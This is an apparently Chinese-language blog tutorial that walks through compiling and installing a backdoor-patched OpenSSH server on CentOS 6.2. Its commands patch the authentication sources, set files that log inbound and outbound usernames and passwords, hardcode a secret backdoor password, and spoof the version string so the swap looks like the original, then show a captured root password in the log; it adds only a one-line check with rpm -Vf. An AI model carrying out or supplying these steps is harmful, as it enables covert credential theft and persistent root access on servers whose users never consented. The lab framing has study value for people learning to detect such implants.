• 了解有后门的sshd服务是如何劫持密码的


      在服务器上安装一个打了后门补丁的sshd服务,当用户连接时,直接把密码记录下来,然后使用脚本发送到邮箱中。

    (1).实验环境

      使用CentOS6.2作为系统环境,查看sshd和gcc的版本

    [root@CentOS6 ~]# uname -a
    Linux CentOS6.2 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
    [root@CentOS6 ~]# ssh -V
    OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
    [root@CentOS6 ~]# gcc -V
    -bash: gcc: command not found
    [root@CentOS6 ~]# yum -y install gcc  //如果没有gcc需要安装
    [root@CentOS6 ~]# gcc -v
    使用内建 specs。
    目标:x86_64-redhat-linux
    配置为:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux
    线程模型:posix
    gcc 版本 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)

    (2).安装后门

    [root@CentOS6 ~]# tar zxf openssh-5.9p1.tar.gz  //解压openssh_5.9p1
    [root@CentOS6 ~]# tar zxf 0x06-openssh-5.9p1.patch.tar.gz  //解压后门
    [root@CentOS6 ~]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
    [root@CentOS6 ~]# cd openssh-5.9p1
    [root@CentOS6 openssh-5.9p1]# patch < sshbd5.9p1.diff  //打补丁就是修改或替换原有文件
    patching file auth.c  //认证
    patching file auth-pam.c  //认证
    patching file auth-passwd.c  //认证
    patching file canohost.c
    patching file includes.h
    patching file log.c
    patching file servconf.c  //关于sshd服务器
    patching file sshconnect2.c  //关于sshd连接
    patching file sshlogin.c  //关于登录
    patching file version.h  //关于版本
    [root@CentOS6 openssh-5.9p1]# vim includes.h
    //第177~179行
    #define ILOG "/usr/share/ifile"  #记录登录到本机的用户名和密码
    #define OLOG "/usr/share/ofile"  #记录从本机登录到其他服务器上的用户名和密码
    #define SECRETPW "testpassword"  #后门密码
    //为了保证安装后显示的版本和原系统一致,还需要修改版本号
    [root@CentOS6 openssh-5.9p1]# vim version.h
    #define SSH_VERSION     "OpenSSH_5.3"
    //安装依赖包
    [root@CentOS6 openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
    //编译安装
    [root@CentOS6 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    [root@CentOS6 openssh-5.9p1]# make && make install
    [root@CentOS6 openssh-5.9p1]# echo $?
    0
    [root@CentOS6 openssh-5.9p1]# rpm -Vf /usr/bin/ssh  //可以看到ssh相关文件被修改
    S.5....T. /usr/bin/scp
    S.5....T. /usr/bin/sftp
    S.5....T. /usr/bin/ssh
    S.5....T. /usr/bin/ssh-add
    SM5...GT. /usr/bin/ssh-agent
    S.5....T. /usr/bin/ssh-keyscan
    [root@CentOS6 openssh-5.9p1]# service sshd restart
    停止 sshd:                                                [确定]
    正在启动 sshd:                                            [确定]
    

    (3).测试

    //开始之前
    [root@CentOS6 openssh-5.9p1]# cat /usr/share/ofile
    cat: /usr/share/ifile: 没有那个文件或目录
    //向外连接
    [root@CentOS6 ~]# ssh 192.168.5.101
    root@192.168.5.101's password:
    Last login: Tue Sep 3 13:25:59 2019 from 192.168.5.1
    [root@youxi1 ~]# exit
    登出
    Connection to 192.168.5.101 closed.
    [root@CentOS6 ~]# cat /usr/share/ofile
    user:password@host --> root:123456@192.168.5.101
    

      另外可以使用后门密码登录root用户。

    (4).排查

      就是使用rpm -Vf /usr/bin/ssh命令查看是否被黑客替换。

  • 相关阅读:
    C语言设计实验报告(第六次)
    C语言设计实验报告(第四次)
    C语言设计实验报告(第三次)
    C语言设计实验报告(第七次)
    C语言设计实验报告(第五次)
    翁恺B站练习题目(持续更新中~~~)
    壁纸
    C语言设计实验报告(第二次)
    C语言设计实验报告(第一次)
    SSM 项目实战
  • 原文地址:https://www.cnblogs.com/diantong/p/11452631.html
Copyright © 2020-2023  润新知